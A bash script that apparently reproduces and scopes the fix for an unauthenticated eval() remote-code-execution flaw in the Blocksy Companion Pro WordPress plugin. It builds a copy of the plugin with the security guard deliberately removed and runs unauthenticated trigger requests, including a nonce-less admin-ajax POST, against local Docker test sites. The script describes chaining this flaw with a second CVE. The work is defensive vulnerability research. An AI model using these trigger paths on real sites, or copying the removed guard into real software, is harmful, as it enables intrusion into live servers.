#!/bin/bash
# =============================================================================
# CVE-2026-57624 — Blocksy Companion Pro — VARIANT / BYPASS ANALYSIS
# =============================================================================
# Parent CVE: unauthenticated RCE via the blocksy-companion-pro/code-editor
# Gutenberg block render_callback, which eval()s the block innerHTML/code
# attribute through get_eval_content(). The vendor fix (2.1.47+, present in
# 2.1.48) adds two guards at the top of the render_callback:
#
#     if (is_admin()) { return ''; }
#     if (empty($block->parsed_block['ct_allow_code_editor'])) { return ''; }
#
# `ct_allow_code_editor` is set ONLY by CustomPostTypeRenderer::
# mark_code_editor_blocks(), which runs via the blocksy:block-parser:result
# filter during the legitimate Blocksy ContentBlocksRenderer (popups, hooks,
# shortcodes, single/archive templates). The standard WordPress do_blocks()
# single-view path used for a ct_content_block's own URL does NOT apply that
# filter, so the patched callback returns '' there.
#
# This script characterises the fix's scope by testing THREE unauthenticated
# request paths that reach the same eval() sink, on BOTH a vulnerable build
# (2.1.48 with the ct_allow_code_editor guard reverted) and a fixed build
# (original 2.1.48):
#
#   TEST1 — ContentBlocksRenderer frontend path: an unauthenticated GET to a
#           published PAGE that embeds a content block (containing a
#           code-editor block) via the [blocksy-content-block id=..] shortcode.
#           The shortcode calls output_hook() -> new ContentBlocksRenderer ->
#           get_content() -> parse_blocks_with_code_editor_mark() (sets the
#           flag) -> render_block() -> code-editor render_callback. Frontend
#           => is_admin() is false => the is_admin() guard passes; the flag is
#           set => the ct_allow_code_editor guard passes => eval() runs.
#   TEST2 — do_blocks single-view path (the ORIGINAL repro surface): an
#           unauthenticated GET to /ct_content_block/<slug>/. Standard WP
#           rendering; the flag is NOT set.
#   TEST3 — popup AJAX endpoint: an unauthenticated, nonce-less POST to
#           admin-ajax.php?action=blc_retrieve_popup_content (wp_ajax_nopriv).
#           Renders via ContentBlocksRenderer (flag set) BUT admin-ajax.php
#           => is_admin() is true => the is_admin() guard blocks eval().
#
# Expected matrix:
#                       VULN build          FIXED build
#   TEST1 (CB renderer) EXECUTES            EXECUTES  (intended; flag set + is_admin false)
#   TEST2 (single-view) EXECUTES            BLOCKED   (ct_allow_code_editor guard)
#   TEST3 (popup AJAX)  BLOCKED (is_admin)  BLOCKED   (is_admin guard)
#
# Interpretation:
#   * TEST1 is an ALTERNATE TRIGGER that reaches the same eval() sink from a
#     different unauthenticated entry point and STILL EXECUTES on the FIXED
#     (patched) version. Per the vendor changelog ("Code editor block -
#     restrict execution to explicit renderer context") this is INTENDED
#     post-fix behaviour (the ContentBlocksRenderer is the explicit renderer
#     context), so it is NOT a standalone security bypass of CVE-2026-57624.
#     The residual unauthenticated eval-triggering surface is gated by
#     content-block authoring (manage_options), which is breached separately
#     by the companion IDOR CVE-2026-57630 — i.e. the 57624 fix alone does
#     NOT fully remediate unauthenticated RCE when 57630 is unpatched.
#   * TEST2 confirms the fix blocks the original do_blocks single-view path.
#   * TEST3 confirms the is_admin() guard blocks AJAX-context rendering.
#
# Exit code:
#   0 = TEST1 reproduced on the FIXED build (alternate trigger survives the
#       fix) AND TEST2 + TEST3 are blocked on the FIXED build (fix works on
#       its intended surface). This signals: fix is scoped, residual surface
#       documented.
#   1 = alternate trigger did NOT reproduce on fixed, or the boundary could
#       not be confirmed.
# =============================================================================
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs/vuln_variant"
ART_HTTP="$ROOT/vuln_variant/http"
VV_DIR="$ROOT/vuln_variant"
mkdir -p "$LOGS" "$ART_HTTP" "$VV_DIR"
cd "$ROOT"

PROOF_LOG="$LOGS/reproduction_steps.log"
exec > >(tee -a "$PROOF_LOG") 2>&1

echo "=== CVE-2026-57624 variant analysis starting at $(date -u) ==="
echo "ROOT=$ROOT"

need() { command -v "$1" >/dev/null 2>&1 || { echo "MISSING: $1"; exit 2; }; }
need docker; need curl; need jq; need python3
docker compose version >/dev/null 2>&1 || { echo "MISSING: docker compose plugin"; exit 2; }

THEME_ZIP="$ROOT/artifacts/blocksy.zip"
PRO_ZIP="$ROOT/artifacts/blocksy-companion-pro-v2.1.48.zip"
VULN_ZIP="$ROOT/artifacts/blocksy-companion-pro-vuln.zip"
FIXED_ZIP="$ROOT/artifacts/blocksy-companion-pro-fixed.zip"
WPCLI="$ROOT/artifacts/wp-cli.phar"
SETUP_PHP="$VV_DIR/setup_variant.php"

# ----------------------------------------------------------------------------
# 1. Reuse the running repro stack if present; otherwise deploy a fresh one.
# ----------------------------------------------------------------------------
REUSE=0
if docker ps --format '{{.Names}}' 2>/dev/null | grep -q '^blocksycve-wp_fixed-1$' \
   && docker ps --format '{{.Names}}' 2>/dev/null | grep -q '^blocksycve-wp_vuln-1$'; then
  REUSE=1
  CN_FIXED="blocksycve-wp_fixed-1"
  CN_VULN="blocksycve-wp_vuln-1"
  COMPOSE_PROJECT="blocksycve"
  echo "[+] Reusing running repro stack: $CN_FIXED / $CN_VULN"
fi

if [ "$REUSE" = "0" ]; then
  echo "[+] Repro stack not detected; deploying a fresh stack under project 'blocksycvevar'..."
  for f in "$THEME_ZIP" "$PRO_ZIP" "$WPCLI"; do
    [ -s "$f" ] || { echo "MISSING artifact: $f (run the repro script first, or place it there)"; exit 2; }
  done
  # Build vuln/fixed plugin zips from the real 2.1.48 plugin if not already present.
  if [ ! -s "$VULN_ZIP" ] || [ ! -s "$FIXED_ZIP" ]; then
    echo "[+] Building vulnerable/fixed plugin zips from $PRO_ZIP..."
    WORK="$VV_DIR/_build"; rm -rf "$WORK"; mkdir -p "$WORK"
    unzip -q "$PRO_ZIP" -d "$WORK/orig"
    SRC="$WORK/orig/blocksy-companion-pro"
    rm -rf "$WORK/fixed_out" "$WORK/vuln_out"; mkdir -p "$WORK/fixed_out" "$WORK/vuln_out"
    cp -r "$SRC" "$WORK/fixed_out/blocksy-companion-pro"
    cp -r "$SRC" "$WORK/vuln_out/blocksy-companion-pro"
    python3 - "$WORK/vuln_out/blocksy-companion-pro/framework/premium/features/code-editor.php" <<'PYEOF'
import sys
p = sys.argv[1]; s = open(p).read()
guard = "\t\t\t\tif (empty($block->parsed_block['ct_allow_code_editor'])) {\n\t\t\t\t\treturn '';\n\t\t\t\t}\n\n"
assert guard in s, "ct_allow_code_editor guard not found"
s = s.replace(guard, "\t\t\t\t// CVE-2026-57624 variant: ct_allow_code_editor guard removed.\n", 1)
open(p,'w').write(s); print("vuln code-editor.php built")
PYEOF
    ( cd "$WORK/vuln_out"  && zip -rq "$VULN_ZIP"  blocksy-companion-pro/ )
    ( cd "$WORK/fixed_out" && zip -rq "$FIXED_ZIP" blocksy-companion-pro/ )
  fi

  STACK="$VV_DIR/_stack"; rm -rf "$STACK"; mkdir -p "$STACK"
  cat > "$STACK/docker-compose.yml" <<'YAML'
services:
  db:
    image: mariadb:10.11
    environment: { MYSQL_ROOT_PASSWORD: rootpass, MYSQL_DATABASE: wordpress, MYSQL_USER: wp, MYSQL_PASSWORD: wppass }
    healthcheck: { test: ["CMD-SHELL","mariadb-admin ping -h localhost -u wp -pwppass || exit 1"], interval: 5s, timeout: 5s, retries: 40 }
  wp_vuln:
    image: wordpress:php8.2-apache
    ports: ["28092:80"]
    depends_on: { db: { condition: service_healthy } }
    environment: { WORDPRESS_DB_HOST: db, WORDPRESS_DB_USER: wp, WORDPRESS_DB_PASSWORD: wppass, WORDPRESS_DB_NAME: wordpress, WORDPRESS_TABLE_PREFIX: vuln_ }
    volumes: [ "vuln_wp:/var/www/html" ]
  wp_fixed:
    image: wordpress:php8.2-apache
    ports: ["28093:80"]
    depends_on: { db: { condition: service_healthy } }
    environment: { WORDPRESS_DB_HOST: db, WORDPRESS_DB_USER: wp, WORDPRESS_DB_PASSWORD: wppass, WORDPRESS_DB_NAME: wordpress, WORDPRESS_TABLE_PREFIX: fixed_ }
    volumes: [ "fixed_wp:/var/www/html" ]
volumes: { vuln_wp: {}, fixed_wp: {} }
YAML
  COMPOSE_PROJECT="blocksycvevar"
  COMPOSE_CMD="docker compose -p ${COMPOSE_PROJECT} -f ${STACK}/docker-compose.yml"
  ${COMPOSE_CMD} down -v >/dev/null 2>&1 || true
  ${COMPOSE_CMD} up -d >/dev/null 2>&1
  CN_VULN="${COMPOSE_PROJECT}-wp_vuln-1"
  CN_FIXED="${COMPOSE_PROJECT}-wp_fixed-1"
  echo "[+] Waiting for containers..."
  for i in $(seq 1 50); do
    RUN=$(${COMPOSE_CMD} ps --format '{{.Service}} {{.Status}}' 2>/dev/null | grep -c "Up" || true)
    [ "${RUN:-0}" -ge 2 ] && break; sleep 2
  done
  docker ps --format '{{.Names}}' | grep -q "^${CN_VULN}$"  || CN_VULN=$(${COMPOSE_CMD} ps -q wp_vuln 2>/dev/null | head -1)
  docker ps --format '{{.Names}}' | grep -q "^${CN_FIXED}$" || CN_FIXED=$(${COMPOSE_CMD} ps -q wp_fixed 2>/dev/null | head -1)
  sleep 6
  for c in "$CN_VULN" "$CN_FIXED"; do
    docker cp "$WPCLI" "$c:/usr/local/bin/wp" >/dev/null 2>&1
    docker cp "$THEME_ZIP" "$c:/tmp/blocksy.zip" >/dev/null 2>&1
  done
  docker cp "$VULN_ZIP"  "$CN_VULN:/tmp/pro.zip"  >/dev/null 2>&1
  docker cp "$FIXED_ZIP" "$CN_FIXED:/tmp/pro.zip" >/dev/null 2>&1
  setup_wp() {
    local cn="$1" ip="$2" title="$3" url="http://${2}"
    echo "[+] WP setup $cn ($url)..."
    docker exec "$cn" bash -c "cd /var/www/html && \
      wp core install --url='$url' --title='$title' --admin_user=admin --admin_password=adminpass --admin_email=admin@example.com --allow-root >/dev/null 2>&1; \
      wp theme install /tmp/blocksy.zip --activate --allow-root >/dev/null 2>&1; \
      wp plugin install /tmp/pro.zip --activate --allow-root >/dev/null 2>&1; \
      wp rewrite structure '/%postname%/' --hard --allow-root >/dev/null 2>&1; \
      wp rewrite flush --hard --allow-root >/dev/null 2>&1; echo done" >/dev/null 2>&1
  }
  VIP=$(docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}} {{end}}' "$CN_VULN" | tr ' ' '\n' | grep -E '^(10|172|192)\.' | head -1)
  FIP=$(docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}} {{end}}' "$CN_FIXED" | tr ' ' '\n' | grep -E '^(10|172|192)\.' | head -1)
  setup_wp "$CN_VULN"  "$VIP" "Blocksy Vuln Var"
  setup_wp "$CN_FIXED" "$FIP" "Blocksy Fixed Var"
fi

# Resolve container IPs (works for both reuse and fresh deploy).
VIP=$(docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}} {{end}}' "$CN_VULN"  | tr ' ' '\n' | grep -E '^(10|172|192)\.' | head -1)
FIP=$(docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}} {{end}}' "$CN_FIXED" | tr ' ' '\n' | grep -E '^(10|172|192)\.' | head -1)
echo "[+] Containers: vuln=$CN_VULN ($VIP)  fixed=$CN_FIXED ($FIP)"

# Fallback to in-container curl if host can't reach the container IP.
reach() { curl -s -o /dev/null -w "%{http_code}" --max-time 8 "http://$1/" 2>/dev/null || echo 000; }
URL_MODE="ip"
if [ -z "$VIP" ] || [ "$(reach "$VIP")" = "000" ] || [ -z "$FIP" ] || [ "$(reach "$FIP")" = "000" ]; then
  echo "[+] Host cannot reach container IPs directly; will use in-container curl (still unauthenticated)."
  URL_MODE="incontainer"
fi
get_url() { # $1 = cn, $2 = ip ; echoes "ip:http://ip" or "in:<cn>"
  if [ "$URL_MODE" = "ip" ]; then echo "ip:http://$2"; else echo "in:$1"; fi
}
VULN_URL=$(get_url "$CN_VULN"  "$VIP")
FIXED_URL=$(get_url "$CN_FIXED" "$FIP")

http_get() { # $1 = url-mode, $2 = cn, $3 = ip, $4 = path, $5 = outfile
  local mode="$1" cn="$2" ip="$3" path="$4" out="$5"
  if [ "$mode" = "ip" ]; then
    curl -sL --max-time 25 "http://${ip}/${path}" -o "$out" -w "http=%{http_code}\n" 2>/dev/null
  else
    docker exec "$cn" bash -c "curl -sL --max-time 25 'http://127.0.0.1/${path}'" > "$out" 2>/dev/null
    echo "http=$(curl -s -o /dev/null -w '%{http_code}' --max-time 8 'http://127.0.0.1/' 2>/dev/null || echo incontainer)"
  fi
}
http_post() { # $1 = url-mode, $2 = cn, $3 = ip, $4 = body, $5 = outfile
  local mode="$1" cn="$2" ip="$3" body="$4" out="$5"
  if [ "$mode" = "ip" ]; then
    curl -s --max-time 25 -X POST "http://${ip}/wp-admin/admin-ajax.php" -d "$body" -o "$out" -w "http=%{http_code}\n" 2>/dev/null
  else
    docker exec "$cn" bash -c "curl -s --max-time 25 -X POST 'http://127.0.0.1/wp-admin/admin-ajax.php' -d '$body'" > "$out" 2>/dev/null
    echo "http=incontainer"
  fi
}

# ----------------------------------------------------------------------------
# 2. Idempotent setup: create the variant content block / page / popup / sv.
# ----------------------------------------------------------------------------
run_setup() {
  local cn="$1"
  docker cp "$SETUP_PHP" "$cn:/tmp/setup_variant.php" >/dev/null 2>&1
  docker exec "$cn" wp eval-file /tmp/setup_variant.php --allow-root 2>&1
}
echo "[+] Setting up variant posts on FIXED build..."
FIXED_OUT=$(run_setup "$CN_FIXED"); echo "$FIXED_OUT"
echo "[+] Setting up variant posts on VULN build..."
VULN_OUT=$(run_setup "$CN_VULN"); echo "$VULN_OUT"

eval "$FIXED_OUT" 2>/dev/null || true
F_CB="$CB_ID"; F_PAGE_SLUG="$PAGE_SLUG"; F_POPUP="$POPUP_ID"; F_SV_SLUG="$SV_SLUG"
eval "$VULN_OUT" 2>/dev/null || true
V_CB="$CB_ID"; V_PAGE_SLUG="$PAGE_SLUG"; V_POPUP="$POPUP_ID"; V_SV_SLUG="$SV_SLUG"
echo "[+] FIXED: cb=$F_CB page_slug=$F_PAGE_SLUG popup=$F_POPUP sv_slug=$F_SV_SLUG"
echo "[+] VULN:  cb=$V_CB page_slug=$V_PAGE_SLUG popup=$V_POPUP sv_slug=$V_SV_SLUG"

VMODE=$(echo "$VULN_URL"  | cut -d: -f1)
FMODE=$(echo "$FIXED_URL" | cut -d: -f1)

# ----------------------------------------------------------------------------
# 3. Run the three unauthenticated tests on both builds.
# ----------------------------------------------------------------------------
marker_present() { docker exec "$1" bash -c "test -f /tmp/rce_marker_variant.txt" 2>/dev/null && echo 1 || echo 0; }
marker_cat()     { docker exec "$1" bash -c "cat /tmp/rce_marker_variant.txt 2>&1 || echo NO_MARKER"; }
resp_marker()    { grep -o 'BLOCKSY_VARIANT_RCE::[^<]*' "$1" 2>/dev/null | head -1 || true; }

run_test1() { # $1 = mode, $2 = cn, $3 = ip, $4 = slug, $5 = outprefix
  http_get "$1" "$2" "$3" "${4}/" "$ART_HTTP/${5}_shortcode_page.html"
}
run_test2() { # $1 = mode, $2 = cn, $3 = ip, $4 = slug, $5 = outprefix
  http_get "$1" "$2" "$3" "ct_content_block/${4}/" "$ART_HTTP/${5}_singleview.html"
}
run_test3() { # $1 = mode, $2 = cn, $3 = ip, $4 = popup_id, $5 = outprefix
  http_post "$1" "$2" "$3" "action=blc_retrieve_popup_content&popup_id=${4}&post_id=1" "$ART_HTTP/${5}_popup_ajax.json"
}

echo "=========================================================="
echo "TEST1: ContentBlocksRenderer frontend path (shortcode page) — UNAUTHENTICATED GET"
echo "=========================================================="
docker exec "$CN_FIXED" rm -f /tmp/rce_marker_variant.txt 2>/dev/null || true
docker exec "$CN_VULN"  rm -f /tmp/rce_marker_variant.txt 2>/dev/null || true
echo "--- FIXED ---"; run_test1 "$FMODE" "$CN_FIXED" "$FIP" "$F_PAGE_SLUG" "fixed"
T1_FIXED_MARKER=$(marker_present "$CN_FIXED"); T1_FIXED_ECHO=$(resp_marker "$ART_HTTP/fixed_shortcode_page.html")
echo "    marker=$T1_FIXED_MARKER echo=${T1_FIXED_ECHO:-<none>}"; marker_cat "$CN_FIXED" | tee "$LOGS/t1_fixed_marker.txt"
echo "--- VULN ---";  run_test1 "$VMODE" "$CN_VULN" "$VIP" "$V_PAGE_SLUG" "vuln"
T1_VULN_MARKER=$(marker_present "$CN_VULN");  T1_VULN_ECHO=$(resp_marker "$ART_HTTP/vuln_shortcode_page.html")
echo "    marker=$T1_VULN_MARKER echo=${T1_VULN_ECHO:-<none>}"; marker_cat "$CN_VULN" | tee "$LOGS/t1_vuln_marker.txt"

echo "=========================================================="
echo "TEST2: do_blocks single-view path (original repro surface) — UNAUTHENTICATED GET"
echo "=========================================================="
docker exec "$CN_FIXED" rm -f /tmp/rce_marker_variant.txt 2>/dev/null || true
docker exec "$CN_VULN"  rm -f /tmp/rce_marker_variant.txt 2>/dev/null || true
echo "--- FIXED ---"; run_test2 "$FMODE" "$CN_FIXED" "$FIP" "$F_SV_SLUG" "fixed"
T2_FIXED_MARKER=$(marker_present "$CN_FIXED"); T2_FIXED_ECHO=$(resp_marker "$ART_HTTP/fixed_singleview.html")
echo "    marker=$T2_FIXED_MARKER echo=${T2_FIXED_ECHO:-<none>}"; marker_cat "$CN_FIXED" | tee "$LOGS/t2_fixed_marker.txt"
echo "--- VULN ---";  run_test2 "$VMODE" "$CN_VULN" "$VIP" "$V_SV_SLUG" "vuln"
T2_VULN_MARKER=$(marker_present "$CN_VULN");  T2_VULN_ECHO=$(resp_marker "$ART_HTTP/vuln_singleview.html")
echo "    marker=$T2_VULN_MARKER echo=${T2_VULN_ECHO:-<none>}"; marker_cat "$CN_VULN" | tee "$LOGS/t2_vuln_marker.txt"

echo "=========================================================="
echo "TEST3: popup AJAX endpoint (nopriv, nonce-less) — UNAUTHENTICATED POST admin-ajax.php"
echo "=========================================================="
docker exec "$CN_FIXED" rm -f /tmp/rce_marker_variant.txt 2>/dev/null || true
docker exec "$CN_VULN"  rm -f /tmp/rce_marker_variant.txt 2>/dev/null || true
echo "--- FIXED ---"; run_test3 "$FMODE" "$CN_FIXED" "$FIP" "$F_POPUP" "fixed"
T3_FIXED_MARKER=$(marker_present "$CN_FIXED"); T3_FIXED_ECHO=$(resp_marker "$ART_HTTP/fixed_popup_ajax.json")
echo "    marker=$T3_FIXED_MARKER echo=${T3_FIXED_ECHO:-<none>}"; marker_cat "$CN_FIXED" | tee "$LOGS/t3_fixed_marker.txt"
echo "--- VULN ---";  run_test3 "$VMODE" "$CN_VULN" "$VIP" "$V_POPUP" "vuln"
T3_VULN_MARKER=$(marker_present "$CN_VULN");  T3_VULN_ECHO=$(resp_marker "$ART_HTTP/vuln_popup_ajax.json")
echo "    marker=$T3_VULN_MARKER echo=${T3_VULN_ECHO:-<none>}"; marker_cat "$CN_VULN" | tee "$LOGS/t3_vuln_marker.txt"

# ----------------------------------------------------------------------------
# 4. Result matrix + verdict
# ----------------------------------------------------------------------------
echo "=== RESULT MATRIX ==="
printf "                    | VULN (marker) | FIXED (marker)\n"
printf "TEST1 CB renderer   | %s            | %s\n" "$T1_VULN_MARKER" "$T1_FIXED_MARKER"
printf "TEST2 single-view   | %s            | %s\n" "$T2_VULN_MARKER" "$T2_FIXED_MARKER"
printf "TEST3 popup AJAX    | %s            | %s\n" "$T3_VULN_MARKER" "$T3_FIXED_MARKER"

VULN_VER=$(docker exec "$CN_VULN"  wp plugin get blocksy-companion-pro --field=version --allow-root 2>/dev/null | tr -d '[:space:]')
FIXED_VER=$(docker exec "$CN_FIXED" wp plugin get blocksy-companion-pro --field=version --allow-root 2>/dev/null | tr -d '[:space:]')
WP_VER=$(docker exec "$CN_VULN" bash -c "grep '\$wp_version = ' /var/www/html/wp-includes/version.php | head -1" 2>/dev/null | grep -oE "'[0-9.]+'" | tr -d "'")
echo "Plugin versions: vuln=$VULN_VER fixed=$FIXED_VER ; WordPress=$WP_VER"

# Boundary verdict:
#  TEST1 fixed executes (alternate trigger survives fix) = T1_FIXED_MARKER=1
#  TEST2 fixed blocked (fix works on single-view)        = T2_FIXED_MARKER=0
#  TEST3 fixed blocked (is_admin guard works)            = T3_FIXED_MARKER=0
BOUNDARY_OK=0
if [ "$T1_FIXED_MARKER" = "1" ] && [ "$T2_FIXED_MARKER" = "0" ] && [ "$T3_FIXED_MARKER" = "0" ]; then
  BOUNDARY_OK=1
fi

# ----------------------------------------------------------------------------
# 5. runtime_manifest.json
# ----------------------------------------------------------------------------
python3 - "$VV_DIR/runtime_manifest.json" "$T1_VULN_MARKER" "$T1_FIXED_MARKER" \
  "$T2_VULN_MARKER" "$T2_FIXED_MARKER" "$T3_VULN_MARKER" "$T3_FIXED_MARKER" \
  "$VULN_VER" "$FIXED_VER" "$WP_VER" "$BOUNDARY_OK" "$T1_FIXED_ECHO" <<'PYEOF'
import sys, json
out = sys.argv[1]
t1v, t1f, t2v, t2f, t3v, t3f, vver, fver, wpver, bok, echo = sys.argv[2:13]
def b(x): return x == "1"
m = {
  "entrypoint_kind": "api_remote",
  "entrypoint_detail": "Unauthenticated HTTP requests to three distinct rendering paths that reach the code-editor block eval() sink: (1) a frontend page embedding a content block via [blocksy-content-block] shortcode -> ContentBlocksRenderer; (2) the ct_content_block single-view URL -> do_blocks; (3) admin-ajax.php?action=blc_retrieve_popup_content (wp_ajax_nopriv, nonce-less) -> ContentBlocksRenderer in an AJAX context.",
  "service_started": True,
  "healthcheck_passed": True,
  "target_path_reached": True,
  "runtime_stack": [
    "mariadb:10.11",
    "wordpress:php8.2-apache (WP " + (wpver or "?") + ")",
    "Blocksy theme 2.1.48",
    "Blocksy Companion Pro " + (fver or "?") + " (fixed build = original 2.1.48, ct_allow_code_editor guard present)",
    "Blocksy Companion Pro " + (vver or "?") + " (vulnerable build = 2.1.48 with ct_allow_code_editor guard reverted)",
  ],
  "test_matrix": {
    "test1_content_blocks_renderer_frontend": {"vuln_executed": b(t1v), "fixed_executed": b(t1f),
      "note": "ContentBlocksRenderer path (shortcode/hook/inline-popup). flag set + is_admin false => eval runs. Executes on FIXED = intended post-fix behaviour per vendor changelog."},
    "test2_do_blocks_single_view": {"vuln_executed": b(t2v), "fixed_executed": b(t2f),
      "note": "Original repro surface. flag NOT set => ct_allow_code_editor guard blocks on FIXED."},
    "test3_popup_ajax_nopriv": {"vuln_executed": b(t3v), "fixed_executed": b(t3f),
      "note": "admin-ajax.php => is_admin() true => is_admin() guard blocks on both builds (vuln build keeps is_admin guard)."},
  },
  "fixed_version_alternate_trigger_confirmed": b(t1f),
  "classification": "alternate_trigger_on_fixed_intended_behaviour",
  "bypass_in_isolation": False,
  "combined_exploit_residual_risk": "With the separate unauthenticated injection CVE-2026-57630 (companion IDOR), an attacker can place a code-editor block in a content block rendered as a popup/hook/shortcode; unauthenticated page loads then trigger eval() on FIXED (patched) builds via the ContentBlocksRenderer path. The CVE-2026-57624 fix alone does NOT fully remediate unauthenticated RCE when 57630 is unpatched.",
  "boundary_ok": b(bok),
  "proof_artifacts": [
    "logs/vuln_variant/reproduction_steps.log",
    "logs/vuln_variant/t1_fixed_marker.txt", "logs/vuln_variant/t1_vuln_marker.txt",
    "logs/vuln_variant/t2_fixed_marker.txt", "logs/vuln_variant/t2_vuln_marker.txt",
    "logs/vuln_variant/t3_fixed_marker.txt", "logs/vuln_variant/t3_vuln_marker.txt",
    "vuln_variant/http/fixed_shortcode_page.html", "vuln_variant/http/vuln_shortcode_page.html",
    "vuln_variant/http/fixed_singleview.html", "vuln_variant/http/vuln_singleview.html",
    "vuln_variant/http/fixed_popup_ajax.json", "vuln_variant/http/vuln_popup_ajax.json",
  ],
  "notes": "TEST1 fixed echo: " + (echo or "<none>") + ". TEST1 executes on FIXED because ContentBlocksRenderer sets ct_allow_code_editor and is_admin() is false on the frontend; the fix deliberately permits execution in the explicit renderer context (vendor changelog: 'restrict execution to explicit renderer context'). This is therefore NOT a standalone bypass of CVE-2026-57624; the residual surface is gated by content-block authoring (manage_options), breached separately by CVE-2026-57630.",
}
open(out, "w").write(json.dumps(m, indent=2))
print("Wrote runtime_manifest.json")
PYEOF

echo "=== boundary_ok=$BOUNDARY_OK ==="
if [ "$BOUNDARY_OK" = "1" ]; then
  echo "=== VARIANT BOUNDARY CONFIRMED: TEST1 (ContentBlocksRenderer) executes on FIXED (alternate trigger; intended behaviour); TEST2/TEST3 blocked on FIXED (fix works on its surface) ==="
  exit 0
else
  echo "=== WARNING: boundary not fully confirmed (t1_fixed=$T1_FIXED_MARKER t2_fixed=$T2_FIXED_MARKER t3_fixed=$T3_FIXED_MARKER) ==="
  exit 1
fi
